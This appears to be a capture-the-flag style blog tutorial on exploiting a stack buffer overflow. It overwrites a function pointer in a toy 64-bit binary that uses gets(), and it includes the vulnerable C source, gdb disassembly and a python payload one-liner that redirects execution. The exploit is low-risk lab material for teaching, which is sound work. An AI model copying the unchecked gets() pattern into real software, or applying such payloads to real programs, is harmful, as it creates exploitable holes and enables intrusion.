Binary Exploitation | Buffer Overflow Attack

0XCD4

Buffer-Overflow-Attack

Hello everyone welcome back to my blogpost. Today, I am going to be illustrating how to be in the function where we should not be.. sounds interesting right? This because there is a vulnerability in the stack where we can take advantage from it.

First of all, we need to understand the scenario so as to exploit the vulnerabilty. I should say that its well recommended to understand the memory address of any functions as well the base address and the usage of gdb. We will use gdb to being able to understand what happens in the stack.
Before exploiting the stack, please follow my page for more awesome blogs about such contents.

Let me shortly introduce what Buffer-Overflow-Attack does.

When a system writes more data to a buffer than it can hold, a buffer overflow or buffer overrun occurs. A lack of proper validation causes this software vulnerability or bug, allowing data to be written out of bounds. This results in excess or lost data, and writes to the adjacent memory—overwriting whatever was stored there before, and triggering unpredictable effects.

First-Phase

It is always important to analyze the file before exploiting, because it might be that the file has been protected by the developer. There is a tool called checksec to check whether it has canarıes,PIEs or not.

We assumed that this file is 64 bit however, let me check with file command to be sure.

[user1@ip-10-10-212-44 overflow-2]$ file func-pointer
func-pointer: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 3.2.0, BuildID[sha1]=4a487843f261c593a102467ecb5ea0f8cbb69b98, not stripped

Awesome! We are seeing that the file has not been stripped. And the file is 64 bit, let me investigate further. Lukily, we have the file called ‘func-pointer.c’ we can either use codium or just nano editor to see inside the file.

We can see an easy code

                                                                                
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>

void special()
{
    printf("this is the special function\n");
    printf("you did this, friend!\n");
}

void normal()
{
    printf("this is the normal function\n");
}

void other()
{
    printf("why is this here?");
}

int main(int argc, char **argv)
{
    volatile int (*new_ptr) () = normal;
    char buffer[14];
    gets(buffer);
    new_ptr();
}

The goal is to gain access to the unauthorized function. And that is called ‘special’ in this case. Is it possible to gain access? If we use OFP(overwriting function pointer) attack than its possible"]

You can read from the source code that it takes 14 bytes char from the user. This means
that when you put more than 14 chars, than you will get a segmentation fault. I almost forget to say that gets() will always be dangerous.

Because it is possible for the user to crash the program by typing too much into the prompt.

Second-Phase

I am going to use GDB to analyze the functions to get more information about this file. If you are
familiar with GDB commands, you probably know how to list functions of this file.

We will get started with the command:

gdb func-pointer
set disassembly-flavor intel
r –> (run)
We already knew that when we input more than 14 characters,it shall be buffered out of the stack, but that is our goal.

Let’s give a try to see this in the practical manner.

(gdb) r
Starting program: /home/user1/overflow-2/func-pointer 
AAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x00007fffffffe498 in ?? ()

Awesome! Segmentation fault has occured now we are able to find the address of special function.


(gdb) disassemble special
Dump of assembler code for function special:
   0x0000000000400567 <+0>:push   rbp    <----- the address
   0x0000000000400568 <+1>:mov    rbp,rsp
   0x000000000040056b <+4>:mov    edi,0x400680
   0x0000000000400570 <+9>:call   0x400460 <puts@plt>
   0x0000000000400575 <+14>:mov    edi,0x40069d
   0x000000000040057a <+19>:call   0x400460 <puts@plt>
   0x000000000040057f <+24>:nop
   0x0000000000400580 <+25>:pop    rbp
   0x0000000000400581 <+26>:ret    
End of assembler dump.

Awesome! We should also not forget that its in Little-Endian

Final-Phase

We know the address of special function and also we know that inputting more than 14 characters will not be allowed so as to avoid segv fault. But of the leak of this vulnerability
We are able to inject our target function.
.

print('A'*14 + '\x67\x05\x40\x00\x00\x00')
      (char size) + (the address of special function)

Let’s give a try.


[user1@ip-10-10-212-44 overflow-2]$ python -c 'print("A"*14 + "\x67\x05\x40\x00\x00\x00")' > payload
[user1@ip-10-10-212-44 overflow-2]$ gdb func-pointer
(gdb) r < payload
Starting program: /home/user1/overflow-2/func-pointer < payload
Missing separate debuginfos, use: debuginfo-install glibc-2.26-32.amzn2.0.1.x86_64
this is the special function
you did this, friend!
[Inferior 1 (process 5198) exited normally]
(gdb)

As you could see it was not difficult to exploit the vulnerability.

Thank you for spending your valuable time to read this blog. I hope that you understood this attack. If not, you can always recheck it and trying to understand this attack once more.

More Binary exploitation blogs will be appeared in my blog-page.

Ahmet Göker | RE | Low-Level-Programming